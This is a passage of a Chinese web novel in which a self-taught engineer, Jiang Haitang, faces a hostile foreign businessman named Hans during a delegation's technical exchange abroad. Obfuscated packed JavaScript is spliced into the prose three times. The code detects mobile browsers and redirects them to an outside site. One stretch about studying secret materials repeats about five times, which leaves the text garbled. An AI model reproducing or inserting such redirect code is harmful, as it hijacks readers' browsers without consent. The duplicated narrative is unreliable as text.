“海棠你说的这个问题很关键这个汉斯一看就是小心眼儿的人咱们以后可要更加小心些才行。” 说完之后他盯着姜海棠看了看说:“海棠尤其是你现在对方还不知道坏了他们好事的人是你一旦知道了只怕对你更为不利。” 姜海棠也是因为想到了这一点才会将自己的猜测说给周副部长听。 “我会小心的周副部长。” 一行人很快出了机场代表团被安排上了一辆破旧的小巴车车内座椅破损闷热难耐。 司机是个满脸横肉的壮汉全程冷着脸故意把车开得颠簸不堪。 王子华坐在后排差点吐出来。 “这待遇真是‘热情’啊。”姜海棠讽刺的低语。 周副部长眉头紧锁但只是沉稳地说:“忍一忍别让他们抓到把柄。” 最终车子停在了一栋破旧的旅馆前墙皮剥落门口堆着垃圾几个醉汉在路边大声叫骂。 汉斯从另一辆豪华轿车上下来假惺惺地笑道:“抱歉最近会议多好酒店都订满了只能委屈各位住这里了。” 姜海棠走进旅馆发现房间狭小潮湿床单发黄浴室的水龙头滴滴答答漏水墙角甚至有几只蟑螂迅速爬过。 王子华失声道:“这……这是人住的地方?” 周副部长的脸色也难看得不得了他曾经带着代表团走过好些国家可像是这样的待遇还是第一次。 “海棠你怎么看?” “周副部长我们不能一次次地退让我们的退让只会让对方以为我们软弱好欺。” “你说得对既然如此我们也没有必要给 他们多留脸面了。” 周副部长严肃地说出这样一番话姜海棠猜测 果然就见周副部长z直接拨通了前台的电话:“请转接D国工业部外事办公室。” 前台一愣:“什么?” 姜海棠立即上前接过电话将周副部长的话翻译了一遍。 周副部长又说道:“如果五分钟内没有人来解决住宿问题我会直接联系我国大使馆并取消明天的技术交流。” 姜海棠严格按照周副部长说的话将周副部长的意思翻译了一遍。 等翻译完周副部长的话她语气冰冷地说道:“我想贵国应该不希望因为‘酒店安排失误’而影响两国友好吧?” 电话那头沉默了几秒随后传来急促的交谈声。 十分钟后一辆崭新的商务车停在旅馆门口之前傲慢的司机点头哈腰地请他们上车:“抱歉!安排错了!各位请跟我去新酒店!” 汉斯站在远处脸色铁青。 他没想到这些黄皮猴子居然敢硬刚他们真的以为他拿他们没办法了吗? 姜海棠正好看到了汉斯她拎着行李从他身边走过时轻飘飘地丢下一句:“看来贵国的‘文明世界’也不过如此。” 虽然经历了一番波折但一行人总算住了下来这一次给他们安排的酒店各种设施都符合标准一行人各自安顿下来。 周副部长让大家先休息等晚上一起出去吃饭。 姜海棠也确实累了她简单洗漱了一下之后躺在床上很快就睡着了。 姜海棠是被敲门声惊醒的。 打开门姜海棠就看到了随行的后勤人员。 “姜海棠同志周副部长让您立即去9018房间。” 姜海棠知道9018房间是周副部长的房间她立即应下。 “请稍等我立即过去。” 姜海棠简单的收拾了一下随着工作人员到了9018房间工作人员敲门之后立即传来周副部长的声音。 “请进!” “周副部长姜海棠同志到了。” “小姜啊快请进。”周副部长立即招呼姜海棠进来。 姜海棠进门之后立即发现房间里不止有周副部长还有一个华国人。 她没有开口询问只是等着周副部长。 “这位同志叫邹明是咱们华国在D国的留学生代表听说我们来了特意来酒店看我们。”周副部长立即 为姜海棠介绍:“这位邹明同学,学习的就是纺织机械。 姜海棠立即笑着打招呼:“你好,邹明同志,我是姜海棠,见到你很荣幸。 邹明对于周副部长忽然找了一名女同志过来,很是惊讶。而且,这位女同志打招呼,也只说了自己的姓名,连工作单位都没有报。 “邹明啊,你可不要小看姜海棠同志,她可是纺织机械方面的专家,最近这几个月,已经解决了纺织机械方面的许多难点问题,甚至,就连国外给咱们机械故意设置的故障都排除了。 邹明立即睁大眼睛,显然对于周副部长说的这些有些难以置信。 他在国外学习好些年了,对于国内的情况也算了解一些,当前,国内应该还没有技术能够解决国外在进口设备上故意设置的故障。 可周副部长也不是信口开河的人,他既然这么说了,就证明这是真事儿。 “不知道姜海棠同志是哪所大学毕业的?思来想去,邹明觉得,姜海棠应该有在海外求学的经验。 可姜海棠却微微摇头:“我并没有上过大学,我掌握的技术都是自学而成。 听到姜海棠坦然地说自己是自学而成,邹明说不惊讶那是假的,他将目光看向周副部长,似乎想通过周副部长确定一下,姜海棠所说的是真的还是假的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15967626|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “小姜同志确实没有经过系统的学习,所以,我才让她来和你见个面,你这里能不能帮小姜同志弄一些书籍?周副部长提出了自己的要求。 “我这里倒是有一些书,可是,这些书就算我能拿过来,你们也没有办法带回去。邹明蹙眉说道。 听了周副部长的话,他以为国内已经艰难到这样的地步了,就连经过系统学习的人才都没有了。 他作为一名华国人,当然要为祖国贡献一份力量。 “麻烦你找一些核心的书籍,让姜海棠同志这段时间学习学习,带不回去,那就尽量多看看,能学习一点是一点。 周副部长叹息一声,带不回去,确实是一个极大的问题,但姜海棠同志的学习能力非常不错,或许,这段时间也能学到不少内容。 邹明虽然觉得,只是短短时间,能学习到的内容有限,可是最终也没有反对,而是痛快地答应了下来。 “周副部长,我今天过来,还代表钱老先生和商会,钱老先生晚上要为您和代表团的同志们接风洗尘,咱们半个小时之后出发,您看可行? 周副部长点头。 这也算常规操作,华国的代表团来了,当地的华人商会也会出面接待,D国官方也不会有意见。 毕竟,只是一个晚宴,就算能传递一些消息,也会十分有限。 何况,参加晚宴的,大部分都是商界的人,不涉及技术。 邹明带着周副部长和姜海棠等一行人离开酒店,去了预定的餐厅。 D国华人商会的钱老先生已等在门口,他穿一身熨贴的中山装,是个看着就十分睿智的老人。 他见人先拱手:“周副部长一路辛苦!咱们在海外的华人,就盼着祖国来人呢。” 周副部长和这位钱老先生显然也是熟人,也笑着打招呼。 “您太客气了,今晚又要让您破费了。” “我们这些海外漂泊的人难得能见到祖国来的人,自当尽地主之谊。” 客套了两句,一行人进入宴会厅,钱老先生这边也有十多个人,加上周副部长这边的十多个人,场面还是有些壮观的。 钱先生给周副部长斟上红酒,叹道:“听说你们刚到就受了委屈?” “也不算委屈,谁让咱们现在的拳头不够硬呢?”周副部长苦笑说道:“我喝不惯这种,有没有白酒?咱们华国人的胃,还是更适合白酒。” “有自家酿制的黄酒,要不咱们就喝点儿黄酒?”钱老先生说着,安排人立即送黄酒过来。 “钱老先生对汉斯·穆勒这个人可有了解?”周副部长压低声音,问坐在他旁边的钱老先生。 “汉斯那伙人,向来瞧不上咱们。前几年有批从国内运过来的纺织原料,就因为咱们是华企,硬是被他们压了三成价格,说‘中国货就值这个价’。” 姜海棠就坐在周副部长下手,正好听到了这些话,她心里沉甸甸的。 早就知道,这时候因为祖国不够强大,海外华人的日子并不是很好过,却没有想到,竟然如此艰难。 第236章 传递 “莫非这一次也是汉斯?”钱老先生声音也不大。 “是的,正是汉斯。” “我听说,汉斯最近的心情不是很好,好像是原本马上就能拿到的一笔维修款忽然之间泡汤了,是给我们华国维修机械。” 周副部长看了看姜海棠,没有开口。 姜海棠摸摸鼻子,她也没想到,这应该就是所谓的冤家路窄。 钱老先生叹息了一声,又心情愉悦地说道:“我们受制于国外很多年了,这些年拼命赚外汇,可到了最后,这些钱有相当一部分通过各种途径,被敲诈勒索走了。” “其实,汉斯这伙人,也不是第一次这么干了,甚至,不光是针对华国,其他一些国家,也遇到过这样的问题,汉斯拖着不修,还很嚣张地说‘只有我们能修’。” “也不知道是哪个厂,竟然能解决他们设置的难题,以后,我们的民族工业大有希望啊!”钱老先生显然对于听到这样的消息很开心。 “钱老先生啊,你面前这位小姑娘,就是打破了汉斯技术垄断的人,这一次的问题,就是她解决的。”周副部长声音很低,且是凑到钱老先生的耳朵旁说的。 钱老先生惊讶得差点连手中的酒杯都掉落在地上。 他哈哈笑着说:“我还以为,小姑娘是您的女儿,您才会安排她在身边,没想到,没想到啊。小姑娘今年多大年龄了?看着也就二十来岁吧,果然年少有为,年少有为啊!” “我有眼不识金镶玉啊,来来来,我老钱给你敬一杯。” “钱老您太客气了,您身在海外,还能惦记着祖国,应该是我给您敬一杯。”姜海棠立即端起酒杯给钱老先生敬酒。 她也是从周副部长的态度中看出来的,这位钱老先生,绝对不仅仅是一个爱国商人这么简单。 这样的人,是值得她尊重的。 钱老先生倒也没有继续推辞,而是和姜海棠碰杯喝了一杯。 钱老先生问:“国内有这样的加工精度?” “我们工人师傅用游标卡尺一点点磨出来的。”姜海棠笑了笑,“没有精密机床,就靠手稳。” “太难了,真是太难了!”钱老先生感慨地说道:“也不这知道,什么时候,我们才能真正地强大起来,才能不受外国人的气啊。” “钱老先生您放心,很快的,或许是十年,或许是二十年,不会让我们等太久。” 正说着话,钱先生的儿子跑进来:“爸!警察来了!说咱们‘未经报备**外国人’!” 众人顿时安静。 钱先生拍了拍桌子:“别怕,咱们是华人商会聚餐,有注册文件。” “估计又是汉斯这伙人搞的鬼。”周副部长气愤地说道。 这一次出国,遇到汉斯,就像是遇到了一个神经病一样,让人如鲠在喉。 众人虽然都很气恼,但终究,人在屋檐下,不得不低头,问题还要解决。 这时候,宴会厅里来了好几个穿制服的警察,皮靴踩在木地板上咚咚响:“钱先生,按D国法律,外国代表团参与私人聚会要报备。” “我们是合法宴请。”钱先生掏出商会注册证,又指了指墙上的日历,“今天是周末,私人时间,而且,这也是符合规定的。” “有人举报,你们以宴会为名,泄露D国机密。”警察显然是故意挑刺,他说话的时候,一脸轻蔑地扫视着周围的黄色脸庞。 “警察先生说笑了,我们不过是寻常商人,如何能掌握机密。您看,商会每月聚餐都在市政厅备过案。” 许是有经验,钱老先生还真拿出了一份证明。 那警察看了看证明材料,十分傲慢地说:“我们需要对现场进行检查。” 显然,警察并没有将这些他眼中的低等人种放在眼里。 周副部长忍无可忍地站起身,声音平稳却带着分量:“我们是来技术交流的,不是来受刁难的。如果贵国警方坚持认为合法聚餐有问题,我现在就联系我国大使馆,让他们派参赞来‘报备’如何吃这顿饭。” 姜海棠立即担任翻译的角色,将周副部长的话一五一十地翻译给对方听。 这话无疑戳中了要害。 D国虽与华国建交,但双方的关系其实是有些微妙的。 尤其是,周副部长等人是正式的代表团,如果举动过分,万一真的闹起来,可能会引起两国争议。 警察虽然是受人所托来找事,但这件事要是闹大,他也承受不了结果。 但是,就这么灰溜溜地离开,警察可能觉得太没有面子。 一时之间,气氛僵硬了下来。 正在这时候,是华人商会的法律顾问到了。 那穿西装的老人进来看了看现场,说道:“我刚给警察局局长打过电话,他说没安排这场‘检查’。” 领头的警察脸色变了,他确实是受人之托,私下来的。 他瞥了眼窗外,外面并没有人。 他立即心慌起来,这伙人看着就是打算硬刚的状态,万一真闹到大使馆,他担不起破坏两国邦交的 这个责任。 做不过是一点点钱而已,要是为了这点钱,连这份工作丢了就不划算了。 “误会。”警察轻描淡写地说了一声,转身就走。 虽然对方的态度并不怎么好,但众人知道,这已经是最好的结果了,也只能将这口气咽下去。 门刚关上,钱先生就呸了一声:“汉斯这孙子,也就敢搬警察当枪使!” 周副部长神情严肃地开口:“咱们现在虽然还很弱,但你们要时刻记得,在这里,我们代表的是我们伟大的祖国,对付这种人,就得让他们知道,咱们不是任人拿捏的。” 代表团的人立即都点头,表示无论如何都会维持祖国的形象。 “汉斯这种人,对别人的轻视是刻在骨子里的,或许,他看不起的不只是我们华国,而是还有其他的国家。又或者,他连国内的人也是看不起的。” 不得不说,姜海棠还真猜测到了,汉斯这个人,就是利益至上,不管是哪个国家的人,只要是有利可图,他都会动手,因此,就算在D国,也有许多人看不上汉斯。 “钱老先生,或许你们可以想办法,联合那些被汉斯欺负过的人达成合作。” 毕竟,这世上,没有人愿意总被别人欺负。 检查风波过了之后,宴会厅里再度热闹起来,姜海棠这一句话说的声音又小,因此,许多人都没听到。 但钱老先生听到了。 钱老先生给姜海棠重新斟上酒:“来,为这个干一杯!咱们华人在海外,就得这样抱团。你帮我撑场子,我给你搭台子!我相信,我们拧成一股绳,总能对付个别居心叵测的人。” 姜海棠举杯时,周副部长也举起了杯子,三个人的杯子轻轻碰撞,发出清脆的响声。 黄酒的温热顺着喉咙往下淌,姜海棠的心里却亮堂得很:就算汉斯再使阴招,他们身后有祖国,身边有同胞,怕什么? 周副部长又与钱老先生说了一些话,姜海棠觉得,有些话似乎意有所指,可是她听不明白。 但听不明白不要紧,总归,有些事她不需要清楚。 她只需要知道,这段时间,她可以尽可能地学习D国的先进技术就够了。 一行人分别的时候,钱老先生给姜海棠送了一个精美的盒子,说是送给漂亮女士的礼物。 但姜海棠接过沉甸甸的盒子之后,却觉得,这绝对不是一份礼物这么简单。 果然,等回到酒店打开盒子之后,里面装着不少的资料。 姜海棠立即带着资料去 找周副部长。 周副部长说:“海棠,这些资料交给你,你可以记住多少?” 姜海棠捏了一下资料的厚度,想了想,才说:“如果给我一个星球的时间,我可以记住九成以上。” 周副部长立即点头:“那就好,这些资料,你尽快熟悉并记下来。这是钱老先生他们费尽心思才弄到的,但我们没有办法将这些资料带回去,只能记在脑子里。” “周副部长,这些只有我一个人学习,还是其他人也学?” “这些是你需要学习的内容,海棠,这是核心关键的内容。”周副部长说话的时候,语气十分郑重。 姜海棠能感觉到,周副部长这是对自己交付了一个沉甸甸的担子,但她甘之如饴。 “那我回房间去了,周副部长您早点休息。” 姜海棠回到自己房间之后,立即开始阅读那些资料,确实都是国内目前没有掌握的先进技术。 姜海棠因为有上辈子的记忆,对于其中的部分内容倒是有所了解,学习起来,也容易了许多。 只是睡觉前几个小时时间,姜海棠就学习了将近四分之一的内容。 洗漱之后,躺在床上,姜海棠又对已经学习过的内容在脑子里回想,并进行推演。 不知不觉中,姜海棠睡着了。 她再次进入睡梦空间里,在那间书房里,姜海棠竟然顺利地找到了今天晚上刚才学习的这些知识的相关书籍。 找周副部长。 周副部长说:“海棠,这些资料交给你,你可以记住多少?” 姜海棠捏了一下资料的厚度,想了想,才说:“如果给我一个星球的时间,我可以记住九成以上。” 周副部长立即点头:“那就好,这些资料,你尽快熟悉并记下来。这是钱老先生他们费尽心思才弄到的,但我们没有办法将这些资料带回去,只能记在脑子里。” “周副部长,这些只有我一个人学习,还是其他人也学?” “这些是你需要学习的内容,海棠,这是核心关键的内容。”周副部长说话的时候,语气十分郑重。 姜海棠能感觉到,周副部长这是对自己交付了一个沉甸甸的担子,但她甘之如饴。 “那我回房间去了,周副部长您早点休息。” 姜海棠回到自己房间之后,立即开始阅读那些资料,确实都是国内目前没有掌握的先进技术。 姜海棠因为有上辈子的记忆,对于其中的部分内容倒是有所了解,学习起来,也容易了许多。 只是睡觉前几个小时时间,姜海棠就学习了将近四分之一的内容。 洗漱之后,躺在床上,姜海棠又对已经学习过的内容在脑子里回想,并进行推演。 不知不觉中,姜海棠睡着了。 她再次进入睡梦空间里,在那间书房里,姜海棠竟然顺利地找到了今天晚上刚才学习的这些知识的相关书籍。 找周副部长。 周副部长说:“海棠,这些资料交给你,你可以记住多少?” 姜海棠捏了一下资料的厚度,想了想,才说:“如果给我一个星球的时间,我可以记住九成以上。” 周副部长立即点头:“那就好,这些资料,你尽快熟悉并记下来。这是钱老先生他们费尽心思才弄到的,但我们没有办法将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15967627|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些资料带回去,只能记在脑子里。” “周副部长,这些只有我一个人学习,还是其他人也学?” “这些是你需要学习的内容,海棠,这是核心关键的内容。”周副部长说话的时候,语气十分郑重。 姜海棠能感觉到,周副部长这是对自己交付了一个沉甸甸的担子,但她甘之如饴。 “那我回房间去了,周副部长您早点休息。” 姜海棠回到自己房间之后,立即开始阅读那些资料,确实都是国内目前没有掌握的先进技术。 姜海棠因为有上辈子的记忆,对于其中的部分内容倒是有所了解,学习起来,也容易了许多。 只是睡觉前几个小时时间,姜海棠就学习了将近四分之一的内容。 洗漱之后,躺在床上,姜海棠又对已经学习过的内容在脑子里回想,并进行推演。 不知不觉中,姜海棠睡着了。 她再次进入睡梦空间里,在那间书房里,姜海棠竟然顺利地找到了今天晚上刚才学习的这些知识的相关书籍。 找周副部长。 周副部长说:“海棠,这些资料交给你,你可以记住多少?” 姜海棠捏了一下资料的厚度,想了想,才说:“如果给我一个星球的时间,我可以记住九成以上。” 周副部长立即点头:“那就好,这些资料,你尽快熟悉并记下来。这是钱老先生他们费尽心思才弄到的,但我们没有办法将这些资料带回去,只能记在脑子里。” “周副部长,这些只有我一个人学习,还是其他人也学?” “这些是你需要学习的内容,海棠,这是核心关键的内容。”周副部长说话的时候,语气十分郑重。 姜海棠能感觉到,周副部长这是对自己交付了一个沉甸甸的担子,但她甘之如饴。 “那我回房间去了,周副部长您早点休息。” 姜海棠回到自己房间之后,立即开始阅读那些资料,确实都是国内目前没有掌握的先进技术。 姜海棠因为有上辈子的记忆,对于其中的部分内容倒是有所了解,学习起来,也容易了许多。 只是睡觉前几个小时时间,姜海棠就学习了将近四分之一的内容。 洗漱之后,躺在床上,姜海棠又对已经学习过的内容在脑子里回想,并进行推演。 不知不觉中,姜海棠睡着了。 她再次进入睡梦空间里,在那间书房里,姜海棠竟然顺利地找到了今天晚上刚才学习的这些知识的相关书籍。 找周副部长。 周副部长说:“海棠,这些资料交给你,你可以记住多少?” 姜海棠捏了一下资料的厚度,想了想,才说:“如果给我一个星球的时间,我可以记住九成以上。” 周副部长立即点头:“那就好,这些资料,你尽快熟悉并记下来。这是钱老先生他们费尽心思才弄到的,但我们没有办法将这些资料带回去,只能记在脑子里。” “周副部长,这些只有我一个人学习,还是其他人也学?” “这些是你需要学习的内容,海棠,这是核心关键的内容。”周副部长说话的时候,语气十分郑重。 姜海棠能感觉到,周副部长这是对自己交付了一个沉甸甸的担子,但她甘之如饴。 “那我回房间去了,周副部长您早点休息。” 姜海棠回到自己房间之后,立即开始阅读那些资料,确实都是国内目前没有掌握的先进技术。 姜海棠因为有上辈子的记忆,对于其中的部分内容倒是有所了解,学习起来,也容易了许多。 只是睡觉前几个小时时间,姜海棠就学习了将近四分之一的内容。 洗漱之后,躺在床上,姜海棠又对已经学习过的内容在脑子里回想,并进行推演。 不知不觉中,姜海棠睡着了。 她再次进入睡梦空间里,在那间书房里,姜海棠竟然顺利地找到了今天晚上刚才学习的这些知识的相关书籍。 找周副部长。 周副部长说:“海棠,这些资料交给你,你可以记住多少?” 姜海棠捏了一下资料的厚度,想了想,才说:“如果给我一个星球的时间,我可以记住九成以上。” 周副部长立即点头:“那就好,这些资料,你尽快熟悉并记下来。这是钱老先生他们费尽心思才弄到的,但我们没有办法将这些资料带回去,只能记在脑子里。” “周副部长,这些只有我一个人学习,还是其他人也学?” “这些是你需要学习的内容,海棠,这是核心关键的内容。”周副部长说话的时候,语气十分郑重。 姜海棠能感觉到,周副部长这是对自己交付了一个沉甸甸的担子,但她甘之如饴。 “那我回房间去了,周副部长您早点休息。” 姜海棠回到自己房间之后,立即开始阅读那些资料,确实都是国内目前没有掌握的先进技术。 姜海棠因为有上辈子的记忆,对于其中的部分内容倒是有所了解,学习起来,也容易了许多。 只是睡觉前几个小时时间,姜海棠就学习了将近四分之一的内容。 洗漱之后,躺在床上,姜海棠又对已经学习过的内容在脑子里回想,并进行推演。 不知不觉中,姜海棠睡着了。 她再次进入睡梦空间里,在那间书房里,姜海棠竟然顺利地找到了今天晚上刚才学习的这些知识的相关书籍。 第237章 针锋 在睡梦空间那个神奇的书房里,姜海棠飞快地翻阅书籍,她不仅找到了与钱老资料高度对应的书籍,甚至还发现了更深入、更前沿的延伸文献。 那些在现实中被国外严格保密范畴的知识,在梦境的书架上却触手可及。 她贪婪地吸收着,推演着,将现实资料与梦境知识相互印证、融合,如同干涸的土地疯狂汲取知识。 她感觉自己思维的边界正在被飞速拓宽,一个更加宏大、清晰的技术图景在脑海中逐渐成形。 翌日一早起床的时候,姜海棠的脑海里,已经形成了一个完整的知识链条。 姜海棠迫切地想将这一切记录下来,无奈,行程安排比较紧张,姜海棠根本没有时间做梳理。 上午,技术交流正式拉开帷幕。 地点安排在D国一家颇具实力的工业协会会议中心。 代表团成员们精神抖擞,周副部长目光沉稳,透着一股不容小觑的底气走在最前面。 然而,会议尚未开始,那股熟悉的阴霾气息便再次笼罩过来。 姜海棠忽然就觉得脊背有些发凉,然后就看到了汉斯。 汉斯带着他那标志性的、混合着傲慢与算计的笑容出现了。 他的身后跟着几个技术人员,其中一个身材高大、神情倨傲的工程师格外引人注目。 这个人姜海棠不认识,但她几乎可以确定,此人来者不善。 汉斯径直走向周副部长,声音不大,却足以让周围的人听清。 “周先生,贵国在精密加工领域似乎有了一些‘有趣’的突破?不过,我听说你们是靠手工‘磨’出来的?这在我们D国工业界看来,简直是……不可思议的原始手段。 他刻意拖长了“原始这个词,带着毫不掩饰的讥讽。 他身后那位高大工程师,嘴角也勾起一丝轻蔑的弧度,眼神扫过代表团成员,如同审视落后的标本。 这样赤裸裸的挑衅让会场的气氛瞬间有些凝滞。 其他D国的参会代表也投来或好奇、或审视、或同样带着优越感的目光。 周副部长脸色微沉,正要开口,一个清脆而平静的声音却先一步响起。 “汉斯先生,姜海棠上前一步,站到了周副部长的侧前方,她的脸上没有愤怒,只有一种近乎纯粹的好奇和探究。 汉斯蹙眉,他现在非常讨厌这个中国女人,只要这个中国女人在,他似乎总在吃亏。 “这位女士有什么见解,是想给你们落后的技术辩解吗? ”虽然嫌弃,但汉斯的傲慢依旧不减。 “原始与否,要看结果能否满足需求。能解决问题的工具,就是好工具。我们确实在特定条件下,依靠工人的精湛技艺和耐心,达到了所需的精度,解决了燃眉之急。这难道不是一种值得尊重的‘适应力’和‘创造力’吗?就像贵国引以为傲的不也是对极致的不懈追求吗?” 姜海棠一席话说得铿锵有力,话语清晰流畅,发音标准得让在场不少人都有些惊讶。 更关键的是,她避开了汉斯预设的“落后”陷阱,转而强调了“解决问题”的核心价值和“不懈追求”的共通性。 汉斯身后高大的男人,也就是克劳斯眼中闪过一丝意外,他显然没料到这个看起来年轻得过分的女孩能如此冷静地反击,而且反击的角度如此巧妙。 但汉斯本人眉头皱了起来,似乎不满于姜海棠的“狡辩”。 “哼,强词夺理。”汉斯冷哼一声,直接说道。 克劳斯点头说道:“手工?那只是你们没有先进设备的遮羞布!真正的工业实力,体现在高精度、高效率、可重复的自动化生产线上!你们那种方法,根本不能称之为‘制造’,充其量是实验室里的‘手工艺品’!” 克劳斯虽然对于姜海棠的冷静反击比较赞赏,但是,他的话语带着技术精英特有的傲慢和刻薄,将矛头直指华国工业基础的薄弱。 周副部长脸色更沉,正要严词驳斥。 姜海棠却再次开口,她的目光迎向克劳斯,眼神锐利如刀。 “您是克劳斯先生?” “是的,我是克劳斯!”对方依旧傲慢无礼,比起汉斯有过之而无不及。 “克劳斯先生,您说得对,自动化、高效率是工业发展的方向。但您是否忽略了一点,任何先进的生产线,其最核心的控制程序、加工逻辑、误差补偿模型等等,最初不也是工程师们用‘原始’的纸笔、甚至是‘原始’的思维推演出来的吗?” “再精密的机床,也需要人来设定目标、校准精度、解决它无法自动处理的异常。我们用手工达到了精度,恰恰证明我们掌握了‘核心逻辑’,理解了材料特性、刀具路径、热变形补偿……这些才是制造的灵魂,而非仅仅是冰冷的机器外壳。” “就算我们的方法,在你看来根本不能称之为‘制造’,充其量是实验室里的‘手工艺品’又能如何?我们最终达到了目标。” 她顿了顿,声音不大,却字字清晰,带着一种不容置疑的力量。 “或许,在您看来,用 游标卡尺和双手去挑战极限是落后的。但在我们看来,这恰恰是我们在现有条件下,不甘受制于人、勇于**的证明!这证明了我们华国工人的智慧、毅力和对祖国的忠诚!这份精神,难道不比任何冰冷的机器更值得尊重? “更何况,解决了问题,保障了生产,这就是实实在在的实力体现。难道您认为,只有贵国的方式才是唯一正确的道路?华国有句话叫做不管白猫黑猫抓住老鼠就是好猫,您觉得呢? 姜海棠的反问掷地有声。 她没有否认设备上的差距,却将焦点引向了更核心的技术理解、问题解决能力和民族精神上。 尤其是那句“不甘受制于人、勇于**,让在场的几位D国代表都微微动容,他们并非不知晓汉斯集团过往的行径。 克劳斯被噎得一时语塞,脸涨得通红。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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短暂的交锋结束,姜海棠和华国代表团取得了第一回合的胜利,可是姜海棠知道,更大的风浪还在后面,需要他们打起百分之 二百的精神才能应付。 会议正式开始后,进入技术议题讨论环节。 D方展示了一些先进的加工理念和自动化解决方案。 姜海棠听得极其认真,不时记录。她敏锐地发现,D方展示的某些核心算法和控制逻辑,与她昨夜在睡梦空间中深入学习、并与钱老先生提供的资料印证过的某些理论高度契合。 甚至她凭借更超前的“梦境知识”,能隐隐看出其优化空间和潜在局限。 不过,这都不重要,对于姜海棠来说,尽可能汲取更多的知识,回国报效国家,才是现在最应该做的。 而华国代表团的其他人,也都在认真地听着对方专家们的讲解。 有些内容,他们能听懂,但也有一些内容,他们处于完全听不懂的状态,但这丝毫不影响他们将这些内容认认真真地记录下来。 当D方一位工程师在讲解一个复杂的多轴联动加工路径优化算法时,因为一个参数设置问题,推导过程卡壳,现场气氛略显尴尬。 那位工程师尝试了几次,额角微微见汗。 他今天是有备而来的,可不知道为什么之前预演过的参数设置问题,在关键的时候,竟然会出现卡壳现壳的问题。 就在主持人尴尬起身,打算圆场时,姜海棠轻轻举起了手。 第238章 搜查 “尊敬的工程师先生,”姜海棠开口,声音平静,“关于您刚才提到的……或许,您可以尝试代入这个数据,再重新计算一下路径向量?” 姜海棠在纸张上写下一个数据,足够让全场的人都看清,会场瞬间安静下来。 所有人的目光都聚焦在姜海棠身上。 D方的工程师一脸愕然,随即迅速低头在稿纸上演算。 片刻之后,他猛地抬起头,眼中充满了难以置信的震惊和一丝……敬佩! “天哪……您是对的!代入这个数据后,路径冲突完美解决,效率理论值提升了将近百分之二十!”他激动地看向姜海棠。 姜海棠微微一笑,语气谦逊:“只是基于基础理论的一些推导和猜测,碰巧想到了而已。贵方在自动化集成上的经验,才是我们真正需要学习的重点。” 她巧妙地避开了“梦境知识”和“钱老资料”的来源,只归功于“基础理论”和“推导”。 但这轻描淡写的一句,却如同在平静的湖面投下巨石! D方的很多代表显然并不能接受,一个落后国家的女人,竟然能只依靠基础理论和推导,就得出这样的结论,太不可思议了,也太让他们这些人丢脸了。 汉斯的脸彻底黑了,一双眼睛阴毒地盯着姜海棠,姜海棠一点都不怀疑,如果眼神能够**,此刻,她已经被汉斯的眼神给杀了。 克劳斯更是像见了鬼一样盯着姜海棠。 这个靠“原始手工”解决问题的华国女人,竟然在如此高深的理论层面,一针见血地指出了D国资深工程师的疏漏,并给出了更优解! 这绝对不是运气能解释的了! 这个华国女人,有着超强的天赋和能力。 也不知道是不是可以上报,让这个华国女人留在D国,为他们所用? 他若有所思地看了一眼汉斯,汉斯似乎对这个华国女人十分反感,如果提议将这个华国女人留下,汉斯应该会不高兴吧? 与克劳斯想法相同的,在D国代表中,竟然还有几个。 周副部长可不知道,这些人已经在计划挖墙脚了,他内心波澜起伏,看向姜海棠的眼神充满了无比的欣慰和自豪。 这一次带着姜海棠来,果然是最正确的选择,这位小同志,总是点给他惊喜。 周副部长瞬间觉得,自己的脊背都能挺直了,姜海棠不仅仅是解决了一个技术问题,更是向所有人宣告:华国,有能洞悉技术核心、站在理论前沿的人才! 不管什么时候,人才都是第 一生产力,姜海棠这位同志,值得重点关注。 后续的交流中,姜海棠虽然发言不多,但每次开口,都直指关键,提出的问题或建议都显示出极其深厚的理**底和对技术本质的深刻理解。 D国代表团的成员们,从一开始的审视和些许傲慢,逐渐转变为认真倾听,甚至主动与她探讨。 气氛从最开始的剑拔**张到后来,已经是气氛融洽了。 对于这样的局面,周副部长是乐意与见到的。 在午餐期间,也有好几个D国的专家特意和姜海棠坐在一起讨论相关信息。 当天的交流结束,代表团成员们走出会场时,腰杆都挺得更直了。 周副部长拍了拍姜海棠的肩膀,姜海棠回以一个疲惫的笑。 “回去好好休息,要始终保持最好的状态。”周副部长郑重地说。 “我知道的,周副部长。”姜海棠点头应下。 回到房间,姜海棠立即拿出纸笔开始梳理从昨天晚上开始到今天这一天多的时间掌握到的相关信息。 她需要将白天交流中获取的新信息、新思路,与钱老的资料、特别是睡梦空间中的海量知识进行更深层次的融合、消化和推演,只有做到这一点,才能真正让这些知识成为自己的。 她有一种预感,汉斯绝不会善罢甘休,更大的挑战可能还在后面。 她必须及时解决相关问题,为迎接下一次交锋,积蓄着更强大的力量。 接下来的几天,技术交流按部就班地进行。 姜海棠白天如同海绵吸水般吸收着D国展示的先进理念和设备细节,她敏锐地捕捉着每一个技术参数、工艺描述背后的逻辑。 遇到一些关键的点,姜海棠都勇于提出自己的想法和见解,并且与对方的专家进行深入有效的沟通。 她的提问总是切中要害,甚至能引出发言者更深层次的思考,因此,D国代表很欢迎姜海棠提出问题。 代表团其他成员也努力汲取着养分,记录着、思考着。 